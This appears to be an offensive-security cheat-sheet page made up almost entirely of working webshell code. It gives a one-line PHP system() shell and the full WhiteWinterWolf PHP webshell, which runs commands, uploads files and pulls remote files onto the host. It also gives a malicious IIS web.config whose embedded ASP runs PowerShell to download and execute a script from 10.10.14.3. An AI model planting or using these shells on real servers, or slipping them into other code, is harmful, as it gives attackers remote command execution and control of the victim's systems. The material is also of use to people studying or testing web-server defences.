PHP Webshells
Last updated
Last updated
<?php SYSTEM($_REQUEST['cmd']); ?>
PHP Webshell example:
#<?php
/*******************************************************************************
* Copyright 2017 WhiteWinterWolf
* https://www.whitewinterwolf.com/tags/php-webshell/
*
* This file is part of wwolf-php-webshell.
*
* wwwolf-php-webshell is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
******************************************************************************/
/*
* Optional password settings.
* Use the 'passhash.sh' script to generate the hash.
* NOTE: the prompt value is tied to the hash!
*/
$passprompt = "WhiteWinterWolf's PHP webshell: ";
$passhash = "";
function e($s) { echo htmlspecialchars($s, ENT_QUOTES); }
function h($s)
{
global $passprompt;
if (function_exists('hash_hmac'))
{
return hash_hmac('sha256', $s, $passprompt);
}
else
{
return bin2hex(mhash(MHASH_SHA256, $s, $passprompt));
}
}
function fetch_fopen($host, $port, $src, $dst)
{
global $err, $ok;
$ret = '';
if (strpos($host, '://') === false)
{
$host = 'http://' . $host;
}
else
{
$host = str_replace(array('ssl://', 'tls://'), 'https://', $host);
}
$rh = fopen("${host}:${port}${src}", 'rb');
if ($rh !== false)
{
$wh = fopen($dst, 'wb');
if ($wh !== false)
{
$cbytes = 0;
while (! feof($rh))
{
$cbytes += fwrite($wh, fread($rh, 1024));
}
fclose($wh);
$ret .= "${ok} Fetched file <i>${dst}</i> (${cbytes} bytes)<br />";
}
else
{
$ret .= "${err} Failed to open file <i>${dst}</i><br />";
}
fclose($rh);
}
else
{
$ret = "${err} Failed to open URL <i>${host}:${port}${src}</i><br />";
}
return $ret;
}
function fetch_sock($host, $port, $src, $dst)
{
global $err, $ok;
$ret = '';
$host = str_replace('https://', 'tls://', $host);
$s = fsockopen($host, $port);
if ($s)
{
$f = fopen($dst, 'wb');
if ($f)
{
$buf = '';
$r = array($s);
$w = NULL;
$e = NULL;
fwrite($s, "GET ${src} HTTP/1.0\r\n\r\n");
while (stream_select($r, $w, $e, 5) && !feof($s))
{
$buf .= fread($s, 1024);
}
$buf = substr($buf, strpos($buf, "\r\n\r\n") + 4);
fwrite($f, $buf);
fclose($f);
$ret .= "${ok} Fetched file <i>${dst}</i> (" . strlen($buf) . " bytes)<br />";
}
else
{
$ret .= "${err} Failed to open file <i>${dst}</i><br />";
}
fclose($s);
}
else
{
$ret .= "${err} Failed to connect to <i>${host}:${port}</i><br />";
}
return $ret;
}
ini_set('log_errors', '0');
ini_set('display_errors', '1');
error_reporting(E_ALL);
while (@ ob_end_clean());
if (! isset($_SERVER))
{
global $HTTP_POST_FILES, $HTTP_POST_VARS, $HTTP_SERVER_VARS;
$_FILES = &$HTTP_POST_FILES;
$_POST = &$HTTP_POST_VARS;
$_SERVER = &$HTTP_SERVER_VARS;
}
$auth = '';
$cmd = empty($_POST['cmd']) ? '' : $_POST['cmd'];
$cwd = empty($_POST['cwd']) ? getcwd() : $_POST['cwd'];
$fetch_func = 'fetch_fopen';
$fetch_host = empty($_POST['fetch_host']) ? $_SERVER['REMOTE_ADDR'] : $_POST['fetch_host'];
$fetch_path = empty($_POST['fetch_path']) ? '' : $_POST['fetch_path'];
$fetch_port = empty($_POST['fetch_port']) ? '80' : $_POST['fetch_port'];
$pass = empty($_POST['pass']) ? '' : $_POST['pass'];
$url = $_SERVER['REQUEST_URI'];
$status = '';
$ok = '☺ :';
$warn = '⚠ :';
$err = '☹ :';
if (! empty($passhash))
{
if (function_exists('hash_hmac') || function_exists('mhash'))
{
$auth = empty($_POST['auth']) ? h($pass) : $_POST['auth'];
if (h($auth) !== $passhash)
{
?>
<form method="post" action="<?php e($url); ?>">
<?php e($passprompt); ?>
<input type="password" size="15" name="pass">
<input type="submit" value="Send">
</form>
<?php
exit;
}
}
else
{
$status .= "${warn} Authentication disabled ('mhash()' missing).<br />";
}
}
if (! ini_get('allow_url_fopen'))
{
ini_set('allow_url_fopen', '1');
if (! ini_get('allow_url_fopen'))
{
if (function_exists('stream_select'))
{
$fetch_func = 'fetch_sock';
}
else
{
$fetch_func = '';
$status .= "${warn} File fetching disabled ('allow_url_fopen'"
. " disabled and 'stream_select()' missing).<br />";
}
}
}
if (! ini_get('file_uploads'))
{
ini_set('file_uploads', '1');
if (! ini_get('file_uploads'))
{
$status .= "${warn} File uploads disabled.<br />";
}
}
if (ini_get('open_basedir') && ! ini_set('open_basedir', ''))
{
$status .= "${warn} open_basedir = " . ini_get('open_basedir') . "<br />";
}
if (! chdir($cwd))
{
$cwd = getcwd();
}
if (! empty($fetch_func) && ! empty($fetch_path))
{
$dst = $cwd . DIRECTORY_SEPARATOR . basename($fetch_path);
$status .= $fetch_func($fetch_host, $fetch_port, $fetch_path, $dst);
}
if (ini_get('file_uploads') && ! empty($_FILES['upload']))
{
$dest = $cwd . DIRECTORY_SEPARATOR . basename($_FILES['upload']['name']);
if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest))
{
$status .= "${ok} Uploaded file <i>${dest}</i> (" . $_FILES['upload']['size'] . " bytes)<br />";
}
}
?>
<form method="post" action="<?php e($url); ?>"
<?php if (ini_get('file_uploads')): ?>
enctype="multipart/form-data"
<?php endif; ?>
>
<?php if (! empty($passhash)): ?>
<input type="hidden" name="auth" value="<?php e($auth); ?>">
<?php endif; ?>
<table border="0">
<?php if (! empty($fetch_func)): ?>
<tr><td>
<b>Fetch:</b>
</td><td>
host: <input type="text" size="15" id="fetch_host" name="fetch_host" value="<?php e($fetch_host); ?>">
port: <input type="text" size="4" id="fetch_port" name="fetch_port" value="<?php e($fetch_port); ?>">
path: <input type="text" size="40" id="fetch_path" name="fetch_path" value="">
</td></tr>
<?php endif; ?>
<tr><td>
<b>CWD:</b>
</td><td>
<input type="text" size="50" id="cwd" name="cwd" value="<?php e($cwd); ?>">
<?php if (ini_get('file_uploads')): ?>
<b>Upload:</b> <input type="file" id="upload" name="upload">
<?php endif; ?>
</td></tr>
<tr><td>
<b>Cmd:</b>
</td><td>
<input type="text" size="80" id="cmd" name="cmd" value="<?php e($cmd); ?>">
</td></tr>
<tr><td>
</td><td>
<sup><a href="#" onclick="cmd.value=''; cmd.focus(); return false;">Clear cmd</a></sup>
</td></tr>
<tr><td colspan="2" style="text-align: center;">
<input type="submit" value="Execute" style="text-align: right;">
</td></tr>
</table>
</form>
<hr />
<?php
if (! empty($status))
{
echo "<p>${status}</p>";
}
echo "<pre>";
if (! empty($cmd))
{
echo "<b>";
e($cmd);
echo "</b>\n";
if (DIRECTORY_SEPARATOR == '/')
{
$p = popen('exec 2>&1; ' . $cmd, 'r');
}
else
{
$p = popen('cmd /C "' . $cmd . '" 2>&1', 'r');
}
while (! feof($p))
{
echo htmlspecialchars(fread($p, 4096), ENT_QUOTES);
@ flush();
}
}
echo "</pre>";
exit;
?>Malicious web.config file for IIS example:
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
Set objShell = CreateObject("WScript.Shell")
strCommand = "cmd /c powershell.exe -c IEX (New-Object
Net.Webclient).downloadstring('http://10.10.14.3/shell.ps1')"
Set objShellExec = objShell.Exec(strCommand)
strOutput = objShellExec.StdOut.ReadAll()
WScript.StdOut.Write(strOutput)
WScript.Echo(strOutput)
%>